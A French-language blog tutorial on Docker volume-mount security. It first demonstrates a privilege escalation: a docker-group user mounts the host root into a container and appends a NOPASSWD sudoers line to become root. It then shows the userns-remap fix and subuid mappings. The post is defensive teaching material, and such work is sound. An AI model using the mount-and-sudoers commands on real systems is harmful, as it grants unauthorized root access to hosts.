https://lafor.ge/feed.xml

Sécurisation du montage de volume de docker

2021-03-08

Bonjour aujourd'hui on va faire de la sécurité informatique.

Docker est un outils fantastique mais peut devenir la pire des failles de sécurité.

On va découper l'article en 2 parties:

  • D'abord l'exploit qui permet l'escalade de privilèges
  • Comment combler cette faille

Mise en place de l'exploit

Je vais faire ma démo sur une Ubuntu 20.04

Via l'utilisateur priviligé (root ou sudo).

On installe docker

apt install docker.io

On créé un utilisateur non-priviligié, sans homedir et sans login.

adduser --no-create-home --disabled-password --disabled-login alice

On ajoute l'utilisateur alice au group docker

usermod -aG docker alice

On créé un dossier de travail

mkdir -p /opt/work

On donne l'ownership de ce dossier à alice

chown alice:alice /opt/work

On va maintenant devenir alice

su alice

On vérifie qu'on est bien alice

$ id
uid=1000(alice) gid=119(docker) groups=119(docker),1000(alice)

Vérifions qu'on a 0 droit priviligié.

$ echo test >> /flag
bash: /flag: Permission denied

Bon visiblement on est pas root.

On vérifie que l'on a le droit d'utiliser docker

$ docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES

Direction le dossier de travail

cd /opt/work

Maintenant on créé ce Dockerfile, il va nous permettre d'utiliser notre volume. J'utilise l'image ubuntu pour avoir un shell, mais on peut le faire avec toute sorte d'image de la plus simple à la plus compliquée.

FROM ubuntu

ENV WORKDIR /opt/workdir

RUN mkdir -p $WORKDIR

VOLUME [ $WORKDIR ]

WORKDIR $WORKDIR

Construisons notre joli cheval de Troie.

docker build -t trojan .

Maintenant on va faire un truc rigolo ( pas pour la machine cible 😋 ).

On va monter / dans notre container!

docker run -it -v /:/opt/workdir trojan bash

Et là on commence à jouer 😋

Avec le shell du container

# echo "I was here" > /opt/workdir/flag

Pas de denied! 😨

C'est pas le pire, connectez vous avec une autre session utilisateur priviligié sur le serveur hôte de docker.

# cat /flag
I was here

Bon on vient d'écrire dans / depuis un container en lançant celui-ci avec un utilisateur non-privilégié.

Mais il y a bien pire !! Même si on est déjà game over !!!

echo "alice ALL=(ALL) NOPASSWD: ALL" >> /opt/workdir/etc/sudoers

Oui visudo c'est là pour la décoration!

On sort du container.

Puis

sudo su
# id
uid=0(root) gid=0(root) groups=0(root)

Et voilà c'est la fin des temps. Vous laissez un utilisateur runner un container et il devient root !

On sécurise

Heureusement il y a une parade à tout ça. Et ceci s'appelle le userns-remap.

L'idée de base est simple, si le container n'a pas explicitement le droit de monter un dossier de l'host on remap l'utilisateur du dossier vers un autre utilisateur.

Cela à pour effet de passer en readonly le montage.

En utilisant votre session priviligiée.

Tout d'abord on défini un fichier /etc/docker/daemon.json. S'il n'existe pas déjà, vous devez le créer.

{
    "userns-remap": "default"
}

Ensuite vous devez redémarrer le service docker

service docker restart

Deux fichier ont été créé/mise à jour.

# cat /etc/subuid
alice:100000:65536
dockremap:165536:65536
# cat /etc/subgid
alice:100000:65536
dockremap:165536:65536

Ce que signifie c'est fichier c'est que les uid des utilisateurs du système hôte sont remappé dans les containers vers des uid/gid différents, dans le cas présent le 65536.

Or cette utilisateur n'aura aucun moyen de se faire passer pour le root 0 de la machine hôte et donc aucun moyen de modifier le /.

Un autre phénomène est apparu aussi. Un dossier de namespace a été créé.

# ls -la /var/lib/docker
...
drwx------ 14 165536 165536 4096 Mar  8 10:46 165536.165536
...

Il appartient à l'utilisateur 165536. Si vous avez fait un peu de python dans votre vie, c'est l'équivalent d'un virtualenv.

Il contient une copie de la structure de /var/lib/docker.

A ceci près que le dossier n'appartient pas à root!

Retournons avec alice. (pensez bien à la retirer des sudoers).

Si on refait un coup de

docker images

C'est vide.

On est reparti

docker build -t trojan .

On monte / de nouveau dans le container.

docker run -it -v /:/opt/workdir trojan bash

Avec le shell du container

Ah c'est étrange, il y a un utilisateur nobody à la place de root.

Continuons mais ça sent la poudre

# echo "I was here again" > /opt/workdir/flag
bash: /opt/workdir/flag: Permission denied

Oh beaucoup mieux !! 🤩

On essaie même pas sudoers, ça passera pas. :D

On vient de combler notre faille de sécu ^^

Bonus: Monter un volume légitime en écriture

C'est bien tout ça mais si je veux monter un dossier en écriture je fais comment ?

Pour le moment on ne peut pas.

Si vous créé un montage légitime avec l'utilisateur alice

mkdir -p /opt/work/data
touch /opt/work/data/test

Que vous montez ça

$ docker run -it -v $(pwd)/data:/opt/workdir trojan ls -la
total 8
drwxrwxr-x 2 nobody nogroup 4096 Mar  8 11:13 .
drwxr-xr-x 1 root   root    4096 Mar  8 11:00 ..
-rw-rw-r-- 1 nobody nogroup    0 Mar  8 11:12 test

On a le même soucis, on est en nobody comme owner, et donc les accès en écriture seront interdit.

Si vous vous rappelez des

# cat /etc/subuid
alice:100000:65536
dockremap:165536:65536
# cat /etc/subgid
alice:100000:65536
dockremap:165536:65536

Je vous avais parlé de mapping

Ben on va se créer un mapping pour notre utilisateur alice qui lui permettra de monter en écriture le volume mais sans lui permettre de monter / en écriture aussi.

Dans un shell privilégié.

username="alice"
uid=$(id -u "$username")
gid=$(id -g "$username")
lastuid=$(( uid + 65536 ))
lastgid=$(( gid + 65536 ))
usermod --add-subuids "$uid"-"$lastuid" "$username"
usermod --add-subgids "$gid"-"$lastuid" "$username"

Ces deux commandes ont pour rôle de modifier ainsi les fichiers

# cat /etc/subuid
alice:1000:65537
dockremap:165536:65536
# cat /etc/subgid
alice:1000:65537
dockremap:165536:65536

On modifie ensuite le /etc/docker/daemon.json en conséquence.

{
    "userns-remap": "alice:alice"
}

On redémarre le service docker

service docker restart

Un nouveau namespace /var/lib/docker/1000.1000 se créé.

Dans le shell de alice

docker images

C'est vide de nouveau.

On est recréé l'image

docker build -t trojan .

On monte / de nouveau dans le container.

docker run -it -v /:/opt/workdir trojan bash

On tente l'écriture

# echo "I was here again" > /opt/workdir/flag
bash: /opt/workdir/flag: Permission denied

Parfait, on a pas retroué la sécu du container. 😁

On quitte le container puis

docker run -it -v $(pwd)/data:/opt/workdir trojan bash

Dans le shell du container

# ls -la
total 8
drwxrwxr-x 2 root   root    4096 Mar  8 11:13 .
drwxr-xr-x 1 root   root    4096 Mar  8 11:00 ..
-rw-rw-r-- 1 root   root    0    Mar  8 11:12 test

ça sent bon 😋

echo "I was here" > test

On quitte le container

# cat data/test
I was here

Yes 🥳

Conclusion

On vient d'apprendre à combler une faille majeure de docker et du montage de volume.

Je pense bien qu'il doit encore rester des montagnes d'exploit, mais ça sera tout pour aujourd'hui :D

Vous remercie de m'avoir lu et je vous dis à la prochaine ^^

Si je raconte des conneries, n'ésitez pas à me le dire en commentaires, je débute dans la sécu 😅

avatar

Auteur: Akanoa

Je découvre, j'apprends, je comprends et j'explique ce que j'ai compris dans ce blog.

Ce travail est sous licence CC BY-NC-SA 4.0.